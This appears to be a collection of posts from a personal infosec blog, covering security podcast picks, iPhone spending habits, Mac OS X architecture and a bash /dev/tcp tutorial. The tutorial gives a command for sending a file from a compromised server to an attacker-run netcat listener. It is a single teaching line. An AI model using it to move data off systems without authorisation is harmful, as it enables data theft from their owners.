Time in the car, train, plane, bus, donkey cart.

We all spend time in a mode of transport of some sort. For some of us it’s a fairly significant portion of our lives. I feel sorry for the guys and girls who live in Johannesburg. Having said that, I would move there just to get more time in the car to listen to podcasts. I used to have around 17 podcasts that were regularly downloaded but never listened to. This is bad. I then whittled this list down to 7 which I will list here. You should really check them out at some point or another.

DiscussIT Pubcast
Run by a local bunch who are involved in info-sec in some way or form. Great to get the South African point of view in a sea of foreigners.
Check them out here

Pauldotcom.com.com/net
I cannot say enough good things about the PDC crew. I was lucky enough to meet the guys at the Podcasters meet up. Great content, good insight and you have to love the commercial breaks.
Subscribe to this in iTunes.

Exotic Liability
Yes, just listen to EL. That is all.
Subscribe to this in iTunes.

Network Security Podcast
Really great dynamic with Martin Mckeay and Rich Mogull. Quite a bit on PCI and privacy. Always great content.
Subscribe to this in iTunes.

An Information Security Place Podcast
This is the podcast that I stumbled upon when I first really got into info-sec and it’s still one of my favourites run by
Michael Farnum
Subscribe to this in iTunes.

Securabit
I really enjoy the Securabit guys. They always have great guest interviews. Check out the “f0rb1dd3n Network” interview, then go and buy the book. It’s going to be awesome (when it arrives from Kalahari).
Subscribe to this in iTunes.

Security Justice
Just a great content.
Subscribe to this in iTunes

Yes, there are a lot of podcasts to listen to out there. Yes I probably am missing out on quite a bit of information and tid bits, but I listen to these podcasts religiously and feel better for it. So instead of rotting your brain with 5fm and “shock” DJ’s, plug in a podcast and learn something while you sit in traffic for 4 hours. Yes Jo’burg, I’m talking about you.

note: If you’re iTunes challenged like I am, to subscribe to a podcast and have iTunes plunder your bandwidth daily, click Advanced then Subscribe to Podcast. Then simply paste the links above into the little dialog box and have it update weekly.

Thank me later.

iPhones and Pooping

I saw this t-shirt and had to have it. There has been alot of hype and general douchery about the iPhone for a while now and it’s gotten a bit old. I did notice something about having an iPhone, other than having my monthly bill triple in size.

I’ve always been a huge advocate of free software and the Linux way of doing things, but since having a Mac and indeed an iPhone, I have noticed this attitude of mine swing a little the other way. It started with a couple of free downloads of useless applications from the iStore (directly from my phone mind you). Then, after a while I moved on to the 99c applications, mostly because “hey, it’s 99c…that’s nothing” and also because 95% of the free applications are crap. No biggie, we’re still fairly safe..

But lately, I’ve been into the expensive applications. I just spent $13.95 on stuff for the phone. All in one foul swoop, without even leaving my bed. Without even turning my notebook on. And therein lies the problem dear friends. The iPhone may not have changed how I poop, but it has influenced my spending habits. Slightly and over time, without me really thinking about it.
Now, I consider purchasing applications where before I would have spent days searching out a decent open source alternative on Freshmeat and the like.

What’s the point to all this ? Apple is making it very easy to spend money without the need for a web browser or even a physical component like a credit card or better yet, cold hard cash. It’s changing peoples perceptions of what’s safe and “the right thing to do” when purchasing items online. I fear the day when people start sending credit card details over clear text again, simply because the big apple has taught them that’s it’s the norm…

Mac OS X

Mac OS X is becoming popular. Costs for a standard Mac are dropping which makes people such as myself very happy. There’s the whole “Mac is more secure than Windows” debate which will rage for eons, much as the vi vs. emacs debate has given propeller heads something to puff their chests about for the last 10 years. But that’s not why we’re here. This article is a fairly brief overview of the Mac operating system, which will hopefully answer a few questions along the way…

Before going ahead, please go and buy this book. Much of what I have learned was through breaking my own machine and reading this book. Charlie and Dino are great guys so support their work and buy the book…

Architecture.

The core of the Mac OS X operating system is built around the XNU kernel. The XNU kernel is made up of (at a very basic level) the Mach core with additional bits and pieces provided by a derived version of FreeBSD. Mach was developed at the Carnegie Mellon University as a UNIX compatible OS back in the eighties. I won’t go into too much detail on this topic as I am still getting my head around the vast majority of it. At the end of the day, the XNU kernel is responsible for most of the tasks you would expect it to handle, namely processor scheduling and multi-tasking. The BSD portion provides the higher level operations such as a TCP/IP stack, basic security and packet filtering amongst other things. I do hope this made sense…

Darwin and Open Source / Aqua and Closed Source.

Darwin is the open source core of Mac OS X. It gives us all that good stuff like X11, GCC and many other open source goodies. Directly opposite this is Aqua. Aqua is the windowing system for Mac OS X. It’s the pretty stuff you click on every day. It’s the graphical user interface that forms the bits and pieces we work with every day. Much like the Microsoft Windows OS, the Aqua source code is not available, but it makes up a very important portion of the operating system.

Bundles, plist files and Random Good Stuff

Bundles are used everywhere in Mac OS X. You see and use them daily. A bundle will contain all the bits and pieces that make up an application. Things like images, libraries, documentation and the applications themselves. A bundle will end with a .app extension. You can check the directory structure and files contained in a bundle using normal UNIX commands from a terminal window…

Plist files are also known as Property List files. They essentially contact configuration information for applications, either on a user specific or system-wide basis. Plist files will either be in binary format, or in XML format. Obviously the XML format files are a lot more straight forward to work with.

It’s worth mentioning launchd at this point in time. Launchd basically replaces cron, xinetd and init (among others). Launchd will start processes and services as well as ensure that certain processes are kept running. You can muck around with the launchd process using the launchctl command. I’ll leave this for you to play around with…

Conclusion

There is so much more to a system running Mac OS X, but that pretty much covers the basics. I really enjoy the OS and in my opinion it’s what a typical Linux desktop has been trying to do for the last 6 years. You can spend an entire day on the command line in Mac OS X which for me is a huge plus.

Now if only I could get a basic install of OS X running from Vmware Fusion so I can stop breaking my main system

/dev/tcp

While messing around with netcat the other day for the SANS SEC560 class, Mr Skoudis mentioned a tool I’ve haven’t come across. Strange considering I’ve been mucking around with Linux for a fairly significant amount of time.

I am talking about /dev/tcp

What this nifty little “tool” allows you to do is extend bash programming into the TCP/UDP arena. You no longer have to use netcat for simple TCP/UDP testing scripts, just use /dev/tcp or /dev/udp….

Before going ahead with this you’ll want to make the character devices in /dev if they aren’t there already..

mknod /dev/tcp c 30 36
mknod /dev/udp c 30 39

It’s also worth noting that there is an issue with this on Ubuntu. You’re going to need to recompile Bash from source with the –enable-net-redirections . It’s pretty easy to do so there should be no reason not to.

The basic premise behind /dev/{tcp,udp} is you use it to read or write data from or to a remote server or service using simple bash commands and pipes.

An example would be you’re running a pen-test where you are unable to download, install or run third party applications on the compromised server. You need to get fileX off the server and have a netcat listener running on your external machine. No problem,

cat fileX > /dev/tcp/yourserver/yourport

Awesome (and I am not referring to hot dogs).

What about reading a banner from a remote server ?

cat < /dev/tcp/yourserver/yourport

After that you’re only limited by your imagination and bash scripting skills as to what you can get done with this handy little tool. I’ll leave it to you guys and gals out there to come up with some scripts of your own. Feel free to mail them through to me, I’d be very interested to see how they work.

QotD

This is quite possibly my favourite quote so far…thanks @wimremes

“Q:what is a botnet? A: It’s what results from connecting Windows to the internet.”
- Tont O’Bryan